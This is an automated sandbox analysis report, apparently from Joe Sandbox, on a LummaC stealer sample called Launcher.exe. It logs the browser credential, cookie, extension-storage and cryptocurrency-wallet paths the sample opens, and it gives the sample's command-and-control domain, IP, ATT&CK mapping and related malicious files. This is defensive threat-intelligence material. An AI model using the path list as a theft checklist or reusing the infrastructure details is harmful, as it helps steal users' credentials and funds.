Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\NEBFQQYWPS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\ZTGJILHXQB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Directory queried: C:\Users\user\Documents\XZXHAVGRAG	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	411 Process Injection	11 Virtualization/Sandbox Evasion	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	411 Process Injection	LSASS Memory	131 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	21 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	11 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	33 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
Launcher.exe	58%	ReversingLabs	Win32.Trojan.Stealerc
Launcher.exe	100%	Avira	HEUR/AGEN.1352999
Launcher.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://kaminiasbbefow.shop/	0%	Avira URL Cloud	safe
https://kaminiasbbefow.shop/pi	0%	Avira URL Cloud	safe
https://kaminiasbbefow.shop/C	0%	Avira URL Cloud	safe
kaminiasbbefow.shop	0%	Avira URL Cloud	safe
https://kaminiasbbefow.shop/re1j	0%	Avira URL Cloud	safe
https://kaminiasbbefow.shop/api	0%	Avira URL Cloud	safe
https://kaminiasbbefow.shop/)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
kaminiasbbefow.shop	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://kaminiasbbefow.shop/api	false	Avira URL Cloud: safe	unknown
kaminiasbbefow.shop	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://kaminiasbbefow.shop/pi	RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaminiasbbefow.shop/C	RegAsm.exe, 00000002.00000002.1789089350.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaminiasbbefow.shop/)	RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaminiasbbefow.shop/re1j	RegAsm.exe, 00000002.00000002.1789143913.0000000000A59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://kaminiasbbefow.shop/	RegAsm.exe, 00000002.00000002.1789089350.0000000000A2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	kaminiasbbefow.shop	European Union		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483203
Start date and time:	2024-07-26 20:36:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Launcher.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 38 Number of non-executed functions: 128
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.85.23.206
Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Launcher.exe

Simulations

Behavior and APIs

Time	Type	Description
14:37:01	API Interceptor	7x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Final Shipping Document.exe	Get hash	malicious	FormBook	Browse	www.artfulfusionhub.lat/qogc/
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	tny.wtf/dg4Zx
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	tny.wtf/c8lH8
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	tny.wtf/sA
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	hq.ax/Oi8
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/dGa
	RFQ#51281AOLAI.xls	Get hash	malicious	FormBook, PureLog Stealer	Browse	tny.wtf/
	Quotation.xls	Get hash	malicious	Remcos	Browse	tny.wtf/jjJsPX
	xptRc4P9NV.exe	Get hash	malicious	Unknown	Browse	api.keyunet.cn/v3/Project/appInfo/65fc6006

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	github_softwares_v1.18.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	172.67.159.243
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	https://intralinks.us.com/jallessI1Ae2APharrI1AsassoTxcz01coTxm	Get hash	malicious	HTMLPhisher	Browse	172.67.159.233
	https://mrlocksmithpenticton.com/mlc/	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	https://new-sneww-online-nowz-all.azurewebsites.net/?referrer=appmetrica_tracking_id%3D173005530304969909%26ym_tracking_id%3D10094745761516744100	Get hash	malicious	Unknown	Browse	104.18.36.155
	https://portal.avel-erx.com/esync/app/?token=4276f42c-09fa-4876-aa17-00d2659d77a4	Get hash	malicious	Unknown	Browse	1.1.1.1
	1lKbb2hF7fYToopfpmEvlyRN.exe	Get hash	malicious	LummaC, Vidar	Browse	172.67.213.85
	https://www.canva.com/design/DAGMEHwBhBU/KuqkCNaGGLCBR8SypHXNgw/edit?utm_content=DAGMEHwBhBU&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton	Get hash	malicious	Unknown	Browse	188.114.96.3
	Final Shipping Document.exe	Get hash	malicious	FormBook	Browse	188.114.96.3

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
